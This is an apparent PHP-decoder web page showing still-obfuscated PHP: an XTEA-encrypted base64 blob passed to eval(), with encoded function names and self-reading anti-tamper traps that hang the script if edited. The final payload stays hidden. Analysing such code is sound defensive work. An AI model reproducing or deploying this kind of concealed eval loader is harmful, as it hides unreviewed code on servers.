Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $m2118d22d991cc8bfb66304d5bd2ee973=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('088116101097'..

Decoded Output download

<?php  $m2118d22d991cc8bfb66304d5bd2ee973=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('088116101097'); $m6a4a7423907f51c2c734d4d465cc4547=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('116114105109'); $mdce2462bf288974f3cdad3ccf53bcfaa=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('101110099114121112116'); $me570850cdc97d1d0b4000087eae8b8e8=new $m2118d22d991cc8bfb66304d5bd2ee973(NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('100049050099100050052048102098052056049057049049056054052055048102053048048056052101057053048048'));error_reporting(0);eval($m6a4a7423907f51c2c734d4d465cc4547($me570850cdc97d1d0b4000087eae8b8e8->$mdce2462bf288974f3cdad3ccf53bcfaa("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")));class Xtea{ private $key; private $cbc = TRUE; function __construct($mb7d5f48227eab3385ddfff1e6a5d4cff){ $this->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); } public function check_implementation(){ $Xtea = new Xtea(""); $m0934c81c21fa520a8e3d6ce21dfd76c6 = array( array(array(0x00000000,0x00000000,0x00000000,0x00000000), array(0x41414141,0x41414141), array(0xed23375a,0x821a8c2d)), array(array(0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f), array(0x41424344,0x45464748), array(0x497df3d0,0x72612cb5)), ); $m767c4d3425474ddf310892258136eae4 = true; foreach($m0934c81c21fa520a8e3d6ce21dfd76c6 AS $m22ccc35cc89f27579f7a4d252b7c3faa){ $mb7d5f48227eab3385ddfff1e6a5d4cff = $m22ccc35cc89f27579f7a4d252b7c3faa[0]; $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = $m22ccc35cc89f27579f7a4d252b7c3faa[1]; $m17a700bfdacd81b54034ba996377097e = $m22ccc35cc89f27579f7a4d252b7c3faa[2]; $Xtea->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); $mafefa4846b0ba586edb703328cc3a8e1 = $Xtea->block_encrypt($m22ccc35cc89f27579f7a4d252b7c3faa[1][0],$m22ccc35cc89f27579f7a4d252b7c3faa[1][1]); if((int)$mafefa4846b0ba586edb703328cc3a8e1[0] != (int)$m17a700bfdacd81b54034ba996377097e[0] || (int)$mafefa4846b0ba586edb703328cc3a8e1[1] != (int)$m17a700bfdacd81b54034ba996377097e[1]){ $m767c4d3425474ddf310892258136eae4 = false; } } return $m767c4d3425474ddf310892258136eae4; } public function encrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = array(); $m17a700bfdacd81b54034ba996377097e = $this->_str2long(base64_decode($m0e86eedd8faf8271732cd3bc8e683e43)); if($this->cbc){ $m86877db3fd52c024fabbc84075c443e6 = 2; }else{ $m86877db3fd52c024fabbc84075c443e6 = 0; } for($m86877db3fd52c024fabbc84075c443e6; $m86877db3fd52c024fabbc84075c443e6<count($m17a700bfdacd81b54034ba996377097e); $m86877db3fd52c024fabbc84075c443e6+=2){ $mafefa4846b0ba586edb703328cc3a8e1 = $this->block_decrypt($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6],$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6+1]); $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca);if(((strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('KSk7ZXJyb3JfcmVwb3J0aW5nKDApO2V2YWwoJG02YTRh'))!==false&&strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('JG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSA9IF9fRklMRV9fOyAkbWNlOTUyNTQ1NjBkOTRkOGM5NzBjNzgzOWJiZjg5OGNhID0gZmlsZV9nZXRfY29udGVudHMoJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSk7ICRtNzRmMWE2MzBkMjdhMjgzZjUxOWJiMmE0MTI0NmRhMGIgPSAwOyBwcmVnX21hdGNoKGJhc2U2NF9kZWNvZGUoJ0x5aHdjbWx1ZEh4emNISnBiblI4WldOb2J5a3YnKSwgJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSwgJG03NGYxYTYzMGQyN2EyODNmNTE5YmIyYTQxMjQ2ZGEwYik7IGlmIChjb3VudCgkbTc0ZjFhNjMwZDI3YTI4M2Y1MTliYjJhNDEyNDZkYTBiKSkgeyB3aGlsZSgweDQwMiE9MHg2MzApeyRzdHJibGQ9Y2hyKDkyNjg4KTt9fQ=='))!==false)?1:0)){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = array($mafefa4846b0ba586edb703328cc3a8e1[0]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-2],$mafefa4846b0ba586edb703328cc3a8e1[1]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-1]); }else{ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = $mafefa4846b0ba586edb703328cc3a8e1; } } $m60b877b22a3dec708aad4fa450932c26 = ''; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m0d7d4a6c3a4b82a626f515a3e0ea2e38); $m86877db3fd52c024fabbc84075c443e6++){ $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][1]); } return rtrim($m60b877b22a3dec708aad4fa450932c26); } public function decrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0e86eedd8faf8271732cd3bc8e683e43); if($mab71312595787e66bcb5b7c35af77e4d%8 != 0){ $m55d21969ac0b624fc95ab57939eddd88 = ($mab71312595787e66bcb5b7c35af77e4d+(8-($mab71312595787e66bcb5b7c35af77e4d%8))); }else{ $m55d21969ac0b624fc95ab57939eddd88 = 0; } $m0e86eedd8faf8271732cd3bc8e683e43 = str_pad($m0e86eedd8faf8271732cd3bc8e683e43, $m55d21969ac0b624fc95ab57939eddd88, ' '); $m0e86eedd8faf8271732cd3bc8e683e43 = $this->_str2long($m0e86eedd8faf8271732cd3bc8e683e43); if($this->cbc){ $m17a700bfdacd81b54034ba996377097e[0][0] = time(); $m17a700bfdacd81b54034ba996377097e[0][1] = (double)microtime()*1000000; } $m0762d87c77d4d992da267f5ee4c678b0 = 1; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m0e86eedd8faf8271732cd3bc8e683e43); $m86877db3fd52c024fabbc84075c443e6+=2){ if($this->cbc){ $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][0]; $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][1]; } $m17a700bfdacd81b54034ba996377097e[] = $this->block_encrypt($m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6],$m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1]); $m0762d87c77d4d992da267f5ee4c678b0++; } $m60b877b22a3dec708aad4fa450932c26 = ""; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m17a700bfdacd81b54034ba996377097e); $m86877db3fd52c024fabbc84075c443e6++){ $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][1]); } return base64_encode($m60b877b22a3dec708aad4fa450932c26); } private function block_decrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; $m6aee867dee075285ea1dda8125bdef4c=0xC6EF3720; $mab71312595787e66bcb5b7c35af77e4d=32; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, -($this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3]))); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, -$mb5bdc679616af29554c1cefeb49684bc); $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, -($this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3]))); } return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function block_encrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $m6aee867dee075285ea1dda8125bdef4c=0; $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, $this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3])); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, $mb5bdc679616af29554c1cefeb49684bc); $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, $this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3])); } $m143358d7a4c39832d0fda7d6f8f1f406[0]=$md5b8e2674ed9278295ee915cbe3843dc; $m143358d7a4c39832d0fda7d6f8f1f406[1]=$m070a54ed0c9c83633803e151491f2729; return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff){ if(is_array($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $mb7d5f48227eab3385ddfff1e6a5d4cff; }else if(isset($mb7d5f48227eab3385ddfff1e6a5d4cff) && !empty($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $this->_str2long(str_pad($mb7d5f48227eab3385ddfff1e6a5d4cff, 16, $mb7d5f48227eab3385ddfff1e6a5d4cff)); }else{ $this->key = array(0,0,0,0); } } private function _add($m77b053060c4fd6c2f76105adcd81a538, $m6b765d750a748862efef31f0dcc13fd6){ $m04eba2b9ac97e2a2dd31141a9a544484 = 0.0; foreach (func_get_args() as $mc777235eddedb8674a94a6a77945f32c){  if (0.0 > $mc777235eddedb8674a94a6a77945f32c){ $mc777235eddedb8674a94a6a77945f32c -= 1.0 + 0xffffffff; } $m04eba2b9ac97e2a2dd31141a9a544484 += $mc777235eddedb8674a94a6a77945f32c; } if (0xffffffff < $m04eba2b9ac97e2a2dd31141a9a544484 || -0xffffffff > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 = fmod($m04eba2b9ac97e2a2dd31141a9a544484, 0xffffffff + 1); } if (0x7fffffff < $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 += 0xffffffff + 1.0; } return $m04eba2b9ac97e2a2dd31141a9a544484; } private function _long2str($m0a83fa7cf0ee62a83b981cd58bcfa970){ return pack('N', $m0a83fa7cf0ee62a83b981cd58bcfa970); } private function _rshift($m3780f0040767a132b5cfee79cde23eec, $mab71312595787e66bcb5b7c35af77e4d){ if (0xffffffff < $m3780f0040767a132b5cfee79cde23eec || -0xffffffff > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec = fmod($m3780f0040767a132b5cfee79cde23eec, 0xffffffff + 1); } if (0x7fffffff < $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec += 0xffffffff + 1.0; } if (0 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec &= 0x7fffffff; $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; $m3780f0040767a132b5cfee79cde23eec |= 1 << (31 - $mab71312595787e66bcb5b7c35af77e4d); }else{ $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; } return $m3780f0040767a132b5cfee79cde23eec; } private function _str2long($m0bc74e7a5c67648ac48e372f9ee01ef2){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0bc74e7a5c67648ac48e372f9ee01ef2); $m0ccf583ca40ed6f47351336bd86d17fc = unpack('N*', $m0bc74e7a5c67648ac48e372f9ee01ef2); $m4ebc5fc75b2ed8bc6cc358d63bcb8245 = array(); $mb11b9152b73fc2e33e62b4985db4d60f = 0; foreach ($m0ccf583ca40ed6f47351336bd86d17fc as $mc777235eddedb8674a94a6a77945f32c){ $m4ebc5fc75b2ed8bc6cc358d63bcb8245[$mb11b9152b73fc2e33e62b4985db4d60f++] = $mc777235eddedb8674a94a6a77945f32c; } return $m4ebc5fc75b2ed8bc6cc358d63bcb8245; } } function NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi($m74f51a33e1c412e4d00b78906d6e0c2f) { $m2118d22d991cc8bfb66304d5bd2ee973=""; $mebbc003b7fe27b2cf4dff8b7a332d39b = ''; $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca); $m74f1a630d27a283f519bb2a41246da0b = 0; preg_match(base64_decode('LyhwcmludHxzcHJpbnR8ZWNobykv'), $mce95254560d94d8c970c7839bbf898ca, $m74f1a630d27a283f519bb2a41246da0b); if (count($m74f1a630d27a283f519bb2a41246da0b)) { while(0x402!=0x630){$strbld=chr(92688);}} $m184966639caf361425b481dbebe88c5d = ceil(strlen($m74f51a33e1c412e4d00b78906d6e0c2f)/3)*3; $mf65300264d5b1d9370f2563e5e6ee006 = str_pad($m74f51a33e1c412e4d00b78906d6e0c2f,$m184966639caf361425b481dbebe88c5d,'0',STR_PAD_LEFT); for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<(strlen($mf65300264d5b1d9370f2563e5e6ee006)/3); $m86877db3fd52c024fabbc84075c443e6++) { $mebbc003b7fe27b2cf4dff8b7a332d39b .= chr(substr(strval($mf65300264d5b1d9370f2563e5e6ee006), $m86877db3fd52c024fabbc84075c443e6*3, 3)); } return $mebbc003b7fe27b2cf4dff8b7a332d39b; }  
?>

Did this file decode correctly?

Original Code

